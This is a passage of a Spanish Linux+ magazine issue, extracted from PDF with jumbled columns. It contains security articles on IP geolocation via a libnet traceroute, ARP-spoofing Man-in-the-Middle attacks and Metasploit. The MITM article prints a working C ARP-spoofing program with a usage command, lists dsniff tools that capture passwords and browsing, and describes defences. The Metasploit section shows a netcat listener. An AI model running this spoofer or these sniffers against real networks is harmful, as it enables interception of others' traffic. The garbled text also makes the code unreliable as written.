(Windows o Linux) virtualizado sobre una • Bloqueo de IPs: SendGuardian.com blo- Todo lo expuesto hace de SYS4NET una
plataforma ESXi, reduciendo los costes de quea las IPs que, en las últimas horas, opción segura y estable para cualquiera de sus
implementación y ofreciendo al cliente un han generado más de un 50 % de correo proyectos.
sistema completamente exclusivo para él a un no deseado, contaminado con virus o phi- LiNUX+: Muchas gracias por esta peque-
precio reducido. sing. ña entrevista.
www.lpmagazine.org 37
hacking para linuxeros
Geolocalización IP
Geolocalización IP
David Puente Castro
Localizar una IP a lo largo del globo terráqueo para saber en
que país, ciudad, región, latitud o longitud se encuentra alguien
con el que chateamos y desconocemos su paradero, no pasa de
ser un mero juguete que puede resultar divertido. Pero cuando
se implementa dentro del código de nuestro propio traceroute,
entonces se convierte en un arma mucho más poderosa.
G
eoIP básicamente esta compuesto de dos
linux@software.com.pl
38 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP
www.lpmagazine.org 39
hacking para linuxeros
Geolocalización IP
40 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP
www.lpmagazine.org 41
hacking para linuxeros
Geolocalización IP
42 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP
www.lpmagazine.org 43
hacking para linuxeros
Geolocalización IP
} ICMP: %s\n",
device = argv[2]; /* La interfaz como libnet_geterror(lnet));
segundo parámetro */ }
lnet = libnet_init(LIBNET_RAW4, device, errbuf); /* Construimos la cabecera IP */
if (lnet == NULL) { ip_pkt = libnet_build_ipv4(LIBNET_IPV4_H +
fprintf(stderr, "libnet_init failed: LIBNET_ICMPV4_ECHO_H + payload_s, 0, id, 0,
%s\n", errbuf); ttl, /* Tiempo de Vida */
exit(-1); IPPROTO_ICMP, 0,
} src_ip, /* IP de origen */
/* Obtenemos nuestra dirección IP */ dst_ip, /* IP de destino */
src_ip = libnet_get_ipaddr4(lnet); NULL, 0, lnet, ip_pkt);
pthread_create(&th_sniffroute, NULL, if (ip_pkt == -1){
sniff_route, NULL); fprintf(stderr, "Error en Caberera IP:
/* Host objetivo como primer parámetro */ %s\n",
dst_ip = libnet_name2addr4(lnet, argv[1], libnet_geterror(lnet));
LIBNET_RESOLVE); exit(-1);
if (dst_ip == -1){ }
fprintf(stderr, "IP de Destino erronea.\n"); c = libnet_write(lnet); /* Enviamos
exit(-1); el paquete */
} usleep(1000); /* Pausa entre paquetes
sleep(1); /* Damos tiempo a que se inicie enviados */
el hijo correctamente */ ttl += 1; /* Incrementamos el Tiempo
while(endsr == 0){ /* El hilo hijo pondrá de Vida del paquete */
(endsr == 1) cuando termine */ }
/* Construimos la cabecera ICMP */ libnet_clear_packet(lnet); /* Limpiamos */
icmp_pkt = libnet_build_icmpv4_ pthread_cancel(th_sniffroute); /* Matamos
echo(ICMP_ECHO, 0, 0, id, 0, el hilo */
payload, /* NULL */ endsr = 0;
payload_s, /* 0 */ reurn 0; /* Salida exitosa*/
lnet, icmp_pkt); }
if (icmp_pkt == -1){ [-----]
fprintf(stderr, "Error en Cabecera
paquete especialmente creado con el TTL pues- decrementándose a medida que atraviesa la red. La primera de ellas, obviamente, es la función
to a 1, el primero de los hosts intermediarios Con esto también podría descubrir un Sistema que programamos al principio de este artículo,
que recibiera el paquete, decrementaría este Operativo, piense que no sería normal en este y que si agrega al programa de traceroute
contador y emitiría su correspondiente men- caso que el TTL hubiera bajado de 128 a 44, (uniendo las piezas) le dirá en qué lugar del
saje de error, pudiendo así el emisor obtener serían demasiados saltos. Es lógico pensar que mundo se encuentra cada uno de los ordenado-
la dirección IP de este punto intermedio. originalmente era 64. res por los que van pasando sus paquetes. Lo
Ocurre que si luego volvía a reenviar este Bien, si leyó atentamente la función cual es el objetivo de este artículo.
mismo paquete con un valor de TTL puesto read_response(), pudo observar un par La segunda función, en caso de descomen-
a 2, el error sería emitido por el segundo host de funciones que dejamos deliberadamente tarla, se ejecutará una vez el destinatario final
intermediario, puesto que es donde el tiempo comentadas: haya sido alcanzado. Su misión se explica en la
de vida expiraría. Siguiendo este proceso de siguiente sección.
incrementar el TTL y capturar los errores /* ip_location(libnet_
ICMP, el emisor solo tiene que comprobar addr2name4(iph-> Exportar a GoogleEarth
cuándo la respuesta proviene de la dirección ip_src.s_addr, 0)); */ La función toGoogleEarth() crea un archivo
IP objetivo. En este momento sabrá que ha /* toGoogleEarth(); */ en formato XML (con extensión .kml) cuyas
terminado de recorrer el trayecto y tendrá
todas las direcciones de los routers o hosts
intermediarios.
Puede observar que si hace un ping a
LiNUX+, recibirá respuestas con un TTL de
44 o algo así, esto es debido a que el paquete
recibido por usted también tiene que recorrer el
camino inverso.Si sale con un valor de 64 irá Figura 3. Efecto de exportación a GoogleEarth
44 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP
marcas serán interpretadas directamente por el Esta función debe ser añadida nuevamente
programa GoogleEarth estableciendo puntos a al programa de traceroute. Una vez un host
En la red
lo largo del globo terraqueo, situando cada uno ha sido traceado, un archivo con nombre
de los hosts que haya ido localizando nuestra routeGE.kml será creado en el mismo di- • MaxMind:
implementación de GeoIP. rectorio donde ha compilado su aplicación. http://www.maxmind.com
Esta función debe conocer: Si ahora abre este archivo mediante Google • LibPcap:
Earth, podrá observar algo parecido a lo si- http://sourceforge.net/projects/
• Una estructura en la que se hayan ido guiente en la Figura 3. libpcap/
almacenando los hosts localizados me- Solo tiene que ir haciendo click en cada • LibNet:
diante GeoIP (de ahi que usaramos geo- una de las chinchetas o direcciones IP, y su http://libnet.sourceforge.net
host[]). globo terraqueo interactuará correctamente • GoogleEarth:
• Un contador con el total de las IP's encon- para llevarle hasta su correcta localiza- http://earth.google.es/
tradas (pasado como argumento). ción.
www.lpmagazine.org 45
hacking para linuxeros
Ataques Man In The Middle
Ataques Man
In The Middle:
Su información en manos enemigas
David Puente Castro
H
oy en dia lo más común es que todas las Más claramente. Si usted dispone de una red Wireless
linux@software.com.pl
empresas utilicen redes de area local para casera. El proceso normal de comunicación cuando soli-
compartir recursos. Además, el hardware que cita, por ejemplo, una página web desde su navegador, es
permite esta clase de conexión tiene un coste que esta petición es remitida a su punto de acceso (router/
muy bajo y su integración es verdaderamente rápida. gateway), que se encarga de realizar la petición efectiva
Por otro lado, las redes Wireless están creciendo como al servidor web en Internet, y el mismo router es el que
nunca hasta ahora había ocurrido. Y del mismo modo, no de- le devuelve la respuesta correspondiente. Podría verse de
jan de ser redes locales en las que, por norma general, existe este modo:
un router o pasarela que proporciona una salida común al
resto de ordenadores hacia Internet. • Petición: PC (Host) -> petición web
Usted debe considerar la siguiente idea: cabría la po- -> ROUTER O PASARELA -> petición web
sibilidad de que alguien pueda situarse entre su ordenador -> INTERNET.
de trabajo habitual y el router o gateway, con el objetivo de • Respuesta: INTERNET -> respuesta
capturar todo el tráfico que se encuentra transmitiendo en un -> ROUTER O PASARELA -> respuesta
instante dado. -> PC (Host).
Ya en un artículo anterior de LiNUX+, en concreto uno
sobre capturar conversaciones de Messenger, se dieron unas La posibilidad de colocar virtualmente un ordenador entre
pinceladas acerca de en qué consistía un ataque Man In The el PC (Host) y el Router o Pasarela, es real. Y en este docu-
Middle. Un ataque hombre en el medio, como bien se men- mento tenemos como meta presentar un ejemplo práctico de
cionó, es una situación que puede ser creada por un atacante y cómo llevar a cabo este ataque, para posteriormente echar un
que permite suplantar la identidad de un dispositivo receptor vistazo a las posibles defensas de que disponemos y cómo
con el fin de engañar a otro emisor. aplicarlas.
46 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle
Host Layers
ciertamente intuitiva. establecidas. Cada una de ellas tiene una Data Presentation
Primero debemos de conocer qué es en rea- misión, y todas son importantes para que el
Data Session
lidad ARP. ARP o Address Resolution Proto- paquete llegue correctamente a su destino:
col, como su propio nombre indica, es un Segments Transport
protocolo que se encarga de resolver direc- • Capa Física: Realmente hablamos de
ciones. Pero... ¿qué direcciones? esta capa como hardware. Es el medio Packets Network
Media Layers
Todo ordenador conectado a una red físico de comunicación entre dos orde-
consta de al menos dos direcciones, una nadores, ya sea cableado o no. Frames Data Link
bastante común para el usuario de a pie, • Capa de Enlace: En esta capa funcionan
Bits Physical
concida como dirección IP, compuesta de 4 los protocolos Ethernet, Frame Relay,
digitos enteros separados por puntos que van ARP, etc...
desde el 0 al 255. Esta dirección se puede • Capa de Red: Aquí nos encontramos con Figura 2. Modelo de capas conocido como OSI
cambiar ya sea de forma manual o automáti- el gran IP (Internet Protocol), establece
camente. de dónde proceden los paquetes y a quién • Capa de Presentación: Esta capa se encar-
Por el contrario, existe otra dirección se dirigen, amén de otros detalles sobre ga de los formatos y el manejo de la es-
que es inmutable. Cada tarjeta de red ether- su enrutamiento. tructura de los datos que viajan por la red.
net trae de fábrica una dirección compuesta • Capa de Transporte: Esta capa aporta el Controla si los datos estan comprimidos,
de 6 pares de digitos separados por dos control. TCP y UDP se encuentran aquí, cifrados, codificados, etc...
puntos, tal que su formato se ve como sigue: y mantienen el control de flujo de datos • Capa de Aplicación: Es la capa que inte-
aa:bb:cc:dd:ee:ff. Esta dirección se conoce verificando su integridad (con UDP no ractúa directamente con el usuario, o al
como MAC y es, supuestamente, única en es del todo cierto). menos con el sistema operativo. Proto-
todo el mundo para cada tarjeta de red. • Capa de Sesión: Establece conexiones colos como HTTP, SSH, FTP, y muchos
Las redes funcionan bajo un modelo de lógicas entre puntos de la red. Se encarga otros se encuentran en este lugar.
capas conocido como OSI. Modelo que pre- también de ciertos aspectos como la sin-
sentamos a continuación, en la Figura 2. cronización. Cada paquete que desea cruzar una red, sale
de un ordenador y atraviesa todas las capas
comenzando por la Capa de Aplicación, hasta
llegar a la Capa Física. Una vez el paquete
llega a su destinatario, este asciende nueva-
PCs
mente a través de las capas OSI, pero esta
vez en sentido contrario llegando definitiva-
mente a la aplicación o servicio del usuario
receptor.
TCP e IP, protocolos que más o menos
todos conocemos al menos de oídas, trabajan
en la cuarta (transporte) y tercera (red) capa
del modelo respectivamente. Lo importante
Impresoras
de red en este punto, es asimilar que todavía por
debajo de estos, en la capa de enlace, se en-
Switch/Hub cuentra el protocolo ARP.
Router ADSL
Estamos acostumbrados a pensar que
Punto de acceso nuestros ordenadores se comunican unos
inalámbrico con otros única y exclusivamente a través
de la dirección IP, y si bien esto es cierto,
en las redes locales existe otro modo de
operación que por norma general agiliza
los trámites.
Cuando un ordenador cliente realiza una
petición a Internet, esta debe ser enviada en
INTERNET
primera instancia al router (como ya vimos
hace un momento). En el nivel más bajo tanto
Portátiles
el cliente como el router se comunican a tra-
vés de la dirección MAC, pero... ¿comó sabe
Figura 1. Esquema del ataque Man In The Middle el cliente la dirección MAC del router?
www.lpmagazine.org 47
hacking para linuxeros
Ataques Man In The Middle
ARP spoofing
Este ataque, también conocido como ARP
Router ADSL Poisoning se basa en dos consignas:
IP: 10.0.0.1
MAC: [cc:cc:cc:cc:cc:cc]
• El protocolo ARP permite respuestas
a preguntas no realizadas.
modified ARP cache points • Estas respuestas actualizan las tablas
IP: 10.0.0.1 to Alice caché ARP de los miembros implicados.
MAC: [ee:ee:ee:ee:ee:ee] IP: 10.0.0.1
(Eve’s MAC) MAC: [aa:aa:aa:aa:aa:aa]
Imaginémonos la situación de la imagen pre-
modified ARP cache points
IP: 10.0.0.1 to sentada en la Figura 3. Tenemos:
MAC: [ee:ee:ee:ee:ee:ee]
(Eve’s MAC)
• Router -> IP: 10.0.0.1 – MAC: cc:cc:cc:
cc:cc:cc
Eve
IP: 10.0.0.1 • Alice -> IP: 10.0.0.10 – MAC: aa:aa:aa:aa:
MAC: [ee:ee:ee:ee:ee:ee] aa:aa
• Eve -> IP: 10.0.0.3 – MAC: ee:ee:ee:ee:
Figura 3. ARP Spoofing
ee:ee
Bien, ARP es un protocolo que soporta El truco está en que esta pregunta solo será res-
broadcasting. Esta es una característica que pondida por aquel miembro que posea esa IP, Cuando Alice desee comunicarse con otro
permite enviar un paquete a todos los or- y lo hará indicando su propia MAC. host en la red, o mismo una petición hacia
denadores de una red de forma simultánea. Internet, preguntará en algún momento cúal
Teniendo en cuenta que el cliente ya conoce ¿Por qué decías es la dirección MAC correspondiente a la IP
aquello de agilizar
la dirección IP del router (p.e.: 192.168.0.1), 10.0.0.1. El Router contestará con la suya
si desea averiguar su dirección MAC, debe los trámites? propia, cc:cc:cc:cc:cc:cc y Alice introducirá
realizar una Petición ARP a la dirección de Cada miembro de la red posee una tabla en su Caché ARP una entrada que relacione
broadcast, lo que produce un paquete que conocida por el nombre de Cache ARP. En mutuamente la dirección IP con la dirección
oirán todos los miembros de la red. esta tabla se van almacenando las respues- MAC. Durante un tiempo no tendrá que vol-
Una petición ARP lleva consigo un men- tas a preguntas como la que acabamos de ver a repetir la pregunta, pues le basta con
saje del estilo: realizar. De este modo, la próxima vez que consultar su tabla para saber a quién debe
el cliente quiera enviar algo al router, bus- enviar sus futuras peticiones.
• ¿Qué dirección MAC tiene el miembro de cará aquí su dirección MAC y no tendŕa Pero como hemos dicho hace un ins-
la red con la dirección IP 192.168.0.1? que volver a preguntar por ella, ahorrando tante, Alice puede aceptar respuestas a una
pregunta que no ha realizado y actualizar su
caché con los datos de esta respuesta. En la
jerga, a este tipo de paquetes se les llama
ARP no solicitados o ARP gratuitos.
Entonces, ¿qué ocurriría si Eve envía
una respuesta ARP a Alice haciéndose pasar
por el Router y diciéndole que la dirección
IP 10.0.0.1 corresponde a la MAC ee:ee:
ee:ee:ee:ee? Pues que a partir de ese mo-
mento Alice enviaría todas sus peticiones
a Eve pensando que en realidad se trata del
Router.
Si además, ahora hacemos lo mismo con
Router, haciéndole pensar que la dirección IP
de Alice se corresponde con la MAC de Eve,
habremos logrado situarnos exactamente en
un punto medio entre los dos miembros de la
comunicación. Nos habremos convertido en:
el hombre en el medio.
48 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle
# echo 1 >
/proc/sys/net/
/ipv4/ip_forward
www.lpmagazine.org 49
hacking para linuxeros
Ataques Man In The Middle
• Connections,
• Profiles,
• Statistics.
Prueba de concepto
En el mundo del hacking y la seguridad infor-
mática existe un punto de ética muy importante,
y es demostrar que nosotros mismos podemos
hacerlo. En otro caso solo cabríamos bajo el
concepto de Script Kiddie, o aquella persona
que se apropia del trabajo de los demás con el
único objetivo de lograr un beneficio o recono-
cimiento.
Lo que aquí pretendo, es demostrar que
pueden generarse respuestas ARP gratuitas
con muy pocas líneas de código (Listado 1).
¿Cómo funciona?
El programa precisa 6 opciones con sus corres-
pondientes argumentos:
50 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle
Tabla 1. Herramienats del paquete dsniff • -r: IP del router o Punto de Acceso.
dsniff Captura las contraseñas que viajan por la red • -n: Número de respuestas ARP a ser en-
arpspoof Modifica la caché ARP de un host víctima viadas.
• -t: Segundos de espera entre envío res-
dnspoof Falsifica las respuestas DNS (Nombres de Dominio)
puestas ARP.
mailsnarf Captura el tráfico de salida y entrada: SMTP y POP3
• -d: Nombre de la interfaz de red.
msgsnarf Captura conversaciones de mensajeria instantánea: MSN, IRC, Yahoo!, etc.
filesnarf Captura ficheros transmitidos mediante NFS Usted mismo puede comprobar la eficacia del
macof Denegación de servicio mediante inundación con MAC's falsas programa. En primer lugar compile el código
sshow Analiza tráfico SSH v1 y v2 con el siguiente comando:
tcpkill Finaliza cualquier conexión establecida
$ gcc arps.c -lnet -o arps
tcpnice Dismunye la velocidad en conexiones establecidas
webspy Captura las URL visitadas por la víctima, y las abre en su propio navegador
Luego ejecute el programa con permisos de
urlsnarf Captura las URL visitadas por la víctima y las muestra por pantalla root, con los parámetros adecuados:
[--arps.c--] }
#include <errno.h> libnet_destroy(lnet);
#include <getopt.h> }
#include <stdio.h> int main(int argc, char *argv[]) {
#include <stdlib.h> libnet_ptag_t ethh_pkt;
#include <libnet.h> libnet_ptag_t arph_pkt;
#define ARP_REPLY 2 ethh_pkt = arph_pkt = LIBNET_PTAG_INITIALIZER;
static in_addr_t trg_ip, gtw_ip; trg_ip = gtw_ip = 0;
/* IP's DEL OBJETIVO Y EL ROUTER */ u_int32_t p[6];
static struct libnet_ether_addr *gtw_ha; int n;
/* MAC DEL ROUTER */ char opt;
libnet_t *lnet; /* DESCRIPTOR DE LIBNET */ char *device;
struct host { char errbuf[256];
char ip_addr[16]; int narps, towait;
/* Direccion IP */ struct host evil, target, router;
u_int8_t mac_addr[6]; while ((opt = getopt(argc, argv,
/* Direccion MAC */ "i:m:r:n:t:d:")) != -1) {
}; switch (opt) {
void usage(char *prog) { case 'i':
printf("\nARPS by blackngel\n"); strncpy(target.ip_addr, optarg, 15);
printf("-----------------"); break;
printf("\nUSO: %s <opciones>\n \ case 'm': {
-i <IP host objetivo>\n \ n = sscanf(optarg,
-m <MAC host objetivo>\n \ "%02x:%02x:%02x:%02x:%02x:%02x",
-r <IP router o AP>\n \ &p[0],&p[1],&p[2],&p[3],&p[4],&p[5]);
-n <numero de ARPs>\n \ if (n != 6) {
-t <espera entre ARPs>\n \ fprintf(stderr,
-d <interfaz de red>\n", prog); "\nDireccion MAC no valida\n");
} return 0;
void send_arps(int count, int towait) { }
int cnt = 0; for (n = 0 ; n < 6 ; n++)
while (cnt < (int)count) { target.mac_addr[n] = (u_int8_t)p[n];
if (libnet_write(lnet) < 0) { break;
fprintf(stderr, "\nlibnet write }
error: %d\n", cnt); case 'r':
return; strncpy(router.ip_addr, optarg, 15);
} break;
cnt += 1; case 'n':
printf("Enviando paquete nº %d\n", cnt); narps = atoi(optarg);
sleep(towait); break;
www.lpmagazine.org 51
hacking para linuxeros
Ataques Man In The Middle
case 't':
towait = atoi(optarg);
break;
case 'd':
device = optarg;
break;
default:
usage(argv[0]);
break;
}
}
if (optind < 12) {
usage(argv[0]);
exit(0);
}
if ((lnet = libnet_init(LIBNET_LINK, device, errbuf)) == NULL) {
fprintf(stderr, "libnet_init failed: %s\n", errbuf);
return -1;
}
// DIRECCION IP DEL OBJETIVO
trg_ip = libnet_name2addr4(lnet, target.ip_addr, LIBNET_RESOLVE);
// DIRECCION IP DEL ROUTER O PASARELA
gtw_ip = libnet_name2addr4(lnet, router.ip_addr, LIBNET_RESOLVE);
// MAC DEL ROUTER SUPLANTADA POR LA DEL ATACANTE
gtw_ha = libnet_get_hwaddr(lnet);
/* CONSTRUIMOS RESPUESTA ARP*/
arph_pkt = libnet_build_arp(1, 0x0800, 6, 4, ARP_REPLY,(u_int8_t *)gtw_ha, (u_char *)>w_ip,
(u_int8_t *)target.mac_addr, (u_char *)&trg_ip, NULL, 0, lnet, arph_pkt);
if (arph_pkt == -1) {
perror("libnet_build_arp: ");
return -1;
}
/* CONSTRUIMOS CAPA ETHERNET */
ethh_pkt = libnet_build_ethernet(target.mac_addr,
(u_int8_t *)gtw_ha,
0x0806, NULL, 0, lnet, ethh_pkt);
if (ethh_pkt == -1) {
perror("libnet_build_ethernet: ");
return -1;
}
printf("\n***** Enviando ARP REPLY al objetivo *****\n\n");
send_arps(narps, towait);
/* AQUI COMIENZA EL ATAQUE */
printf("\n\n***** Ataque ARP-Spoof finalizado *****\n");
return 1;
}
[--arps.c--]
# ./arps -i Si mira ahora la tabla de entradas ARP del host MAC correspondiente a la IP de la víctima,
192.168.0.192 víctima, verá que aquella que corresponde con evitando así introducirla de forma manual.
-m 00:11:50:ED:6F:47 la dirección IP del router ha sido alterada con
-r 192.168.0.1 la dirección MAC del atacante. Nota: Con un Suite Dsniff
-n 100 -t 1 poco más de código podría lograrse que el pro- Más allá de Ettercap, existe un conjunto de
-d ath0 grama obtenga automáticamente la dirección herramientas diseñadas por Dug Song, que
52 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle
forman parte de un famoso paquete llamado Frente a la protección también debemos tener
dsniff. Todas estas herramientas permiten en cuenta los métodos de detección. Hasta Sobre el autor
auditar su red, o ayudarle a recuperar toda ahora no se ha mencionado, pero un ataque
clase de información en medio de un ataque Arp Spoof, no consiste en un único paquete David Puente Castro, alias blackngel, es
MITM. de respuesta ARP, sino que, al contrario, un gran aficionado a la programación y la
Vamos a describir brevemente cada una de mientras el ataque se realiza, existe un flujo seguridad informática. Original de Ouren-
ellas, y esperamos que sí se le pongan los pelos constante de este tipo de paquetes. Las tablas se (Galicia) y viviendo actualmente en la
de punta (Tabla 1). caché ARP se actualizan cada cierto tiempo, provincia de Salamanca dedica la mayor
Casi todas estas herramientas solo pre- y es por ello que el ataque que acabamos de parte de su tiempo libre a disfrutar de la
cisan como único argumento una interfaz ver se debate en una carrera por llegar antes experiencia Linux.
de red, al fin y al cabo solo son sniffers en esta modificación y continúa este tráfico Asiduo escritor de artículos básicos
que buscan por un tráfico determinado y se de respuestas ARP no solicitadas o gratuitas sobre temas de seguridad informática en
lo facilitan a usted de la forma más cómo- durante el tiempo que sea necesario. el E-Zine electrónico S.E.T. (Saqueadores
da. ¿Puede imaginarse utilizando WebSpy Un IDS como Snort, muy conocido en Li- Edición Técnica), ampliamente conocido
y viendo en tiempo real, en su navegador, nux, es capaz de detectar este tráfico malicioso en el Underground Hispano. Actualmen-
las páginas que está visitando una víctima de y responder consecuentemente. te mantiene su segunda página oficial
un ataque MITM? Sí, lo sabemos, una mara- En un sistema operativo Linux, quizás la en: http://set.diazr.com/, cuyo principal
villa. herramienta más apropiada en pro de la detec- objetivo, radica en ocupar el lugar que en
ción de un envenenamento ARP, es ArpWat- su momento cubrió la web de Hackemate
¿Cómo protegernos? ch, la cual puede descargar desde la siguiente como repositorio de material sobre temas
El fallo principal pasa porque las tablas dirección: ftp://ftp.ee.lbl.gov/arpwatch.tar.gz. de hacking.
caché ARP mantienen entradas dinámicas, Aunque es un programa que proporciona Su primer encuentro con Linux data
y esto permite una alteración en cualquier más opciones, trabaja mas o menos de la ya de hace unos 8 años y fue poco más
momento. Teniendo esto en mente, cabe misma forma que el plugin Scan Poisoner adelante que descubrió el fantástico
pensar que la solución principal también pa- de Ettercap, el cual puede utilizar también mundo de la programación y la subcul-
sa por hacer que estas entradas sean estáti- para detectar comportamientos extraños en tura hacker. Participa activamente en
cas, y ello es posible. Desde nuestro Sistema las tablas ARP. wargames como: yoire.com, warzone
Linux podemos hacer algo como lo que pre- Si observamos nuevamente la imagen en (elhacker.net) y otros.
senta el Listado 2. la que presentábamos las entradas ARP alte- Aunque trabaja con ordenadores, la
Se puede observar como ha cambiado la radas, se puede ver como en realidad exis- mayor parte de sus tareas diarias no tie-
entrada. Ahora posee un valor PERM, de per- ten 2 entradas. Una pertenece al atacante nen una relación directa con esta temática.
manente que indica que esta entrada no puede con su dirección MAC respectiva real. La Auxiliar administrativo, obligado a utilizar el
ser modificada. La opción -s del programa arp otra corresponde al router o Punto de Acce- sistema operativo Windows, tiene la cos-
significa static. so con la dirección MAC modificada. Pero tumbre de llevarse su última Distribución
Lo lógico sería crear un script con este co- ambas coinciden, y eso es exactamente lo Live a la oficina para seguir disfrutando
mando, que se lance automáticamente cada vez que buscan los programas anteriores, dos di- de su SO favorito, Linux, y desarrollar sus
que el sistema es iniciado. No obstante, aunque recciones MAC repetidas en la red que dela- pequeños proyectos.
esta solución es práctica en redes de area local tan de forma inmediata una suplantación de Dedica el artículo a su pareja y familia
cableadas, presenta dos inconvenientes en otras identidad. por la paciencia que demuestran cuando
situaciones: Por lo demás, mi mejor consejo es que uti- intenta explicarles qué es lo que realmente
lice siempre que pueda software que cifre sus está haciendo.
• En redes Wifi, una reasociación en la red datos cuando viajan por la red. Nunca se sabe Por lo demás, puede encontrarlo
puede provocar que las entradas de la ca- en manos de quién pueden llegar caer... online, prácticamente las 24 horas
ché sean borradas y dispuestas a ser altera- del día, en las siguientes direcciones:
das nuevamente. Conclusión blackngel1@gmail.com y black@set-
• En redes cableadas pero con multitud de Como bien hemos dicho a lo largo de este ezine.org
hosts, la administración puede volverse artículo, los ataques Man in The Middle no
más tediosa. son nuevos, pero al tiempo que resultan ex- tremadamente sencillos de realizar, siguen
conservando toda su magia y efectividad.
Listado 2. Haciendo entradas estáticas Esto, unido al desconocimiento general de
los cibernautas, termina constituyendo un
# arp -a agujero muy serio en la seguridad de la red,
? (192.168.0.1) en 00:19:15:72:9C:52 y por lo tanto, en su propia seguridad.
[ether] en ath0 Hasta la próxima, y feliz hacking. La
# arp -s 192.168.0.1 00:19:15:72:9C:52 humanidad necesita con urgencia una nueva
# arp -a sabiduría que proporcione el conocimiento
? (192.168.0.1) en 00:19:15:72:9C:52 de como usar el conocimiento para la super-
[ether] PERM en ath0 vivencia del hombre y para la mejora de la
calidad de vida.
www.lpmagazine.org 53
hacking para linuxeros
Proyecto Metasploit
Proyecto Metasploit
David Puente Castro
Metasploit es un proyecto libre que ha sido diseñado con el objetivo de proveer
una plataforma de trabajo a los desearrolladores de herramientas de seguridad
y exploits. Es una estructura modularizada que permite una rápida elaboración
de programas de ataque y análisis de vulnerabilidades.
E
scrito en lenguaje Perl desde sus primeras versio- Actualmente cuenta con 263 exploits y 117 cargas dispues-
linux@software.com.pl
nes, ha sido reescrito en Ruby aportando ahora tas para ser utilizadas y lograr el control de casi cualquier
una mayor flexibilidad. Soporta los siguientes sistema. Debe de tener en cuenta que el Proyecto Metasploit
sistemas operativos: vio la luz por primera vez hacia finales del 2003, y por aquel
entonces, contaba con la nada despreciable cantidad de 30
• Linux, BSD, MacOS X, Windows Cygwin, exploits y 30 cargas.
• Windows 2000 / XP / 2003 / Vista.
¿Qué es un exploit?
Puede descargar la útlima versión, la 3.2, publicada bajo y ¿qué es una carga?
licencia BSD, desde la siguiente dirección: http://www.meta
Un exploit es un programa que está diseñado para sacar
sploit.com/framework/download/ provecho de una vulnerabilidad que ha sido encontrada en
También puede encontrar Metasploit incluido en la fa-
cierto programa y que puede provocar un comportamiento
mosa distribución de seguridad BackTrack. distinto a lo que originalmente estaba planeado por el
Metasploit es la alternativa perfecta a programas comer-
programador.
ciales como IMPACT de la empresa Core o CANVAS de la Por norma general, estos comportamientos son dos. Por
empresa Immunity. Pero existen grandes diferencias que laun lado están las Denegaciones de Servicio (o DoS), que
separa de estas dos últimas: se producen cuando se consigue que un programa deje de
responder. Ya sea porque se haya finalizado inesperadamente
• Está disponible para entornos Unix (CANVAS también). o porque se provoca un agotamiento de los recursos del sis-
• Metasploit es una herramienta gratuita, frente a los tema, como puede ser la memoria, y el programa no puede
2500/25000 dólares que puede costar la primera y los atender más peticiones. En la vida diaria, el usuario suele
950 dólares de la segunda. decir que: el programa se ha colgado.
54 Linux+ 4/2009
hacking para linuxeros
Proyecto Metasploit
• http://www.xatakamovil.com/2007/09/27-
iphone-y-metasploit-tremenda-combina-
cion
• http://secmaniac.blogspot.com/2008/07/
metasploit-3-on-iphone.html
www.lpmagazine.org 55
hacking para linuxeros
Proyecto Metasploit
56 Linux+ 4/2009
hacking para linuxeros
Proyecto Metasploit
www.lpmagazine.org 57
hacking para linuxeros
Proyecto Metasploit
$ nc -lvvp 4444
Msfgui / Msfweb
Cuando domine al menos la mitad de la
potencia que le ofrece msfconsole, des-
cubrirá que puede obtener exactamente el
mismo resultado si se deja guiar por la más Figura 7. Windows Execute Command
58 Linux+ 4/2009
hacking para linuxeros
Proyecto Metasploit
Club Pro
overflow, por lo tanto, estos Shellcodes en pueden trabajar únicamente alrededor del pro-
realidad son una cadena de caracteres que blema, sin perder el tiempo en la codificación
será almacenada en el buffer del programa de la carga necesaria para obtener un beneficio.
vulnerable. En el lenguaje de programación Metasploit dispone también de varios mó-
C, un caracter “\0” significa fin de cadena, dulos auxiliares que realizarán distintas tareas
y en este lugar las cadenas de caracteres son por usted y una lista de códigos de no opera-
truncadas y lo que haya a su derecha se pier- ción, NOPS, que son instrucciónes que el pro-
de. Si en medio de nuestro Shellcode se infil- cesador ejecuta pero que a su vez no afectan al
tra un byte \x00, el programa interpreta que flujo de ejecución de una carga. Digamos que,
ahí finaliza la cadena, y nuestra Carga queda- ante vulnerabilidades como los buffer overflo-
ría cortada en ese lugar, algo que a nosotros ws, son códigos que pueden ser utilizados de
no nos interesa. relleno y que ayudan al éxito del ataque.
ESPAWEB
www.espaweb.es
Especialistas en planes para Distribuido-
res sobre plataforma Linux y Windows,
marca blanca.
Servidores Dedicados y Housing
Proyectos y Soluciones a Medida
Datacenter propio en Alicante
Soporte técnico altamente cualificado,
24*7
902 380 380
www.lpmagazine.org 59
conocimiento libre
Extensión del Copyright en Europa
M
arcos es un joven e imaginativo escritor
linux@software.com.pl
60 Linux+ 4/2009
conocimiento libre
Extensión del Copyright en Europa
www.lpmagazine.org 61
conocimiento libre
Extensión del Copyright en Europa
termediarios encargados de la distribución de mir, publicar y vender las copias de sus mapas, a los trabajos que fueran publicados en algún
las mismas. Para poder hacer esto, en la gran gráficas y libros. medio y establecieran una nota en la publica-
mayoría de los casos, el autor renuncia al co- En 1831, se produjo la primera extensión ción sobre el Copyright al que estaba sujeto
pyright de sus obras, que pasa a estar en manos del Copyright en Estados Unidos, pasando la obra.
de las editoriales, distribuidoras o productoras, de 14 años a 28, más otros 14 adicionales al El acto de extensión del Copyright de
aunque conserva los derechos de autor. Como pedir una prórroga. Además, establecía cláu- 1976 supuso una pieza clave de la legisla-
los derechos de autor no son los que generan sulas adicionales según las cuales, si un autor ción norteamericana en cuanto al tema del
capital económico de las obras, son las distri- fallecía durante ese periodo, los derechos pa- Copyright y, aunque sería extendido poste-
buidoras las que más se benefician de la explo- sarían a manos de su viuda/o o sus hijos. Esta riormente, es la base del Copyright actual
tación del Copyright de las obras, pasando parte extensión se aplicaba con carácter retroacti- en ese país. En esta extensión, el gobierno
de los beneficios a los autores. vo, de forma que los trabajos publicados en estadounidense se adhirió a la convención
los 14 años anteriores pasaban a tener unos internacional de Berna, estableciendo para el
Extensión derechos similares. Copyright un plazo de 50 años hasta después
del Copyright En 1909, la gran mayoría de los países de la muerte del autor. Sin embargo, debido
